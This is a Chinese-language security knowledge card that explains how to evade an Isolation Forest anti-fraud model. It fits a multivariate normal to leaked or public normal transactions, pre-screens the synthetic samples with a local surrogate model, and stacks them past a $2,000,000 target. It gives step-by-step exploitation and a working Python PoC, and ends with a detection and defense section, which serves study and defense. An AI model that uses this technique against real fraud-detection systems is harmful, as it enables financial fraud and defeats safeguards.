♧ Godown 安全知识树

Isolation Forest 反欺诈规避:多元正态采样 + 本地模型预筛,凑够金额且不被判异常

ai-security/adversarial-examples · verified

一句话结论

拿到一批正常交易(如 1000 条)后,估计其均值向量与协方差矩阵,用多元正态分布采样生成新交易,再用本地复刻的 Isolation Forest 预筛掉被判异常的样本,只保留“正常”样本并堆叠到总额超过目标,即可在不重放、不重复的前提下绕过反欺诈异常检测。

原理

  • Isolation Forest 的判定逻辑:它用随机特征/随机切分构建多棵孤立树,异常点因“更容易被孤立”而有更短的路径长度;正常点需要更多切分,路径更长,异常分数更低。模型隐式学习了正常数据的分布/密度。
  • 分布匹配样本为什么能过:从正常交易的均值/协方差估计出的多元正态分布中采样,样本在特征空间中的密度与真实正常交易相近,孤立树对它们的路径长度也相近,因此异常分数落在正常区间。
  • 本地代理模型预筛:攻击者不知道服务端模型参数,但若知道模型类型与超参数(如 n_estimators=100, contamination=0.05),可在本地用同样的正常数据训练一个副本,对生成样本 predict(),只保留 ==1(正常)的样本。服务端模型与本地模型越接近,通过率越高。
  • 避免重放/重复:对生成样本四舍五入后哈希去重,确保不与原始交易重复;每次重新采样生成新样本,而不是复制历史交易。
  • 凑金额约束:按 target / mean[0] * 1.2 估算所需条数,生成后按金额累加,取刚好超过目标的前 N 条;若不足则继续采样补充。
  • 为什么是“对抗样本”:样本不是真实交易,但特征分布与正常交易一致,模型无法仅凭特征区分;这是针对表格型异常检测的分布匹配逃逸,不依赖梯度。

触发条件

  • 攻击者能获得一批正常交易样本(公开账本、泄露数据、历史提交记录等),足以估计均值/协方差。
  • 知道或能推断服务端异常检测模型类型与超参数(Isolation Forest、contamination、特征维度)。
  • 目标系统接受批量交易提交,且不强制要求真实商户/设备/时间等强绑定字段。
  • 服务端没有针对合成样本的额外校验(如特征相关性、业务规则、重复检测、速率限制)。

利用步骤

  1. 读取正常交易数据(如 public_ledger.csv),确认特征列与金额列。
  2. 计算均值向量 mean 与协方差矩阵 cov。
  3. 用相同超参数在本地训练 Isolation Forest(模拟服务端)。
  4. 从 N(mean, cov) 采样,四舍五入后哈希去重,剔除与原始数据重复的样本。
  5. 用本地模型 predict,只保留预测为正常(1)的样本。
  6. 累加金额直到超过目标(如 $2,000,000),截取所需条数,按提交格式输出。
  7. 若服务端模型不同,可通过少量提交做黑盒反馈,调整采样/筛选阈值。

PoC

import numpy as np
import pandas as pd
from sklearn.ensemble import IsolationForest

df = pd.read_csv("public_ledger.csv")
data = df.values

mean = np.mean(data, axis=0)
cov = np.cov(data, rowvar=False)

model = IsolationForest(n_estimators=100, contamination=0.05, random_state=42)
model.fit(data)

target = 2_000_000
n_samples = int(target / mean[0] * 1.2)

seen = {tuple(np.round(row, 4)) for row in data}
generated = []
while len(generated) < n_samples:
    samples = np.random.multivariate_normal(mean, cov, size=1000)
    for s in samples:
        h = tuple(np.round(s, 4))
        if h not in seen:
            generated.append(s)
            seen.add(h)
        if len(generated) >= n_samples:
            break

generated = np.array(generated)
normal = generated[model.predict(generated) == 1]

while normal[:, 0].sum() < target:
    extra = np.random.multivariate_normal(mean, cov, size=2000)
    normal = np.vstack([normal, extra[model.predict(extra) == 1]])

cumsum = np.cumsum(normal[:, 0])
n_needed = np.searchsorted(cumsum, target) + 50
final_data = normal[:n_needed]

out = pd.DataFrame(final_data, columns=[f"f{i}" for i in range(data.shape[1])])
with open("payload.txt", "w") as f:
    out.to_csv(f, index=False)
    f.write("EOF")
print(f"{len(final_data)} 条, 金额 ${final_data[:, 0].sum():,.2f}")

变体与关联

  • 变体:用高斯 copula、核密度估计或 GAN 学习更真实的联合分布,处理非正态/离散特征。
  • 变体:黑盒场景下用查询反馈做边界搜索,逐步把异常分数压到阈值以下。
  • 变体:对金额等受业务约束的特征做裁剪/重采样,保持分布同时满足业务规则。
  • 关联卡片:[[ai-security-adversarial-examples-fraud-model-nan-threshold-bypass]]、[[ai-security-adversarial-examples-topk-pixel-mask-adam]]、[[ai-security-model-evaluation-test-set-csv-leak-overfit-bypass]]。

检测与防御

  • 检测:提交交易的协方差/相关性结构与历史正常交易高度一致但缺乏真实行为痕迹(设备、IP、时间、商户组合异常)。
  • 检测:大量样本在特征空间中过于“典型”,与真实交易的尾部/噪声分布不符;四舍五入后哈希碰撞/近重复。
  • 检测:短时间批量提交、金额累加刚好越过阈值、同一来源多账号协同。
  • 防御:引入强绑定特征(设备指纹、行为序列、关系网络)与业务规则;对合成/重复样本做聚类与异常检测。
  • 防御:定期用对抗样本重训模型,加入分布外检测(OOD)、特征相关性校验与速率限制;不要仅依赖单一 Isolation Forest 分数。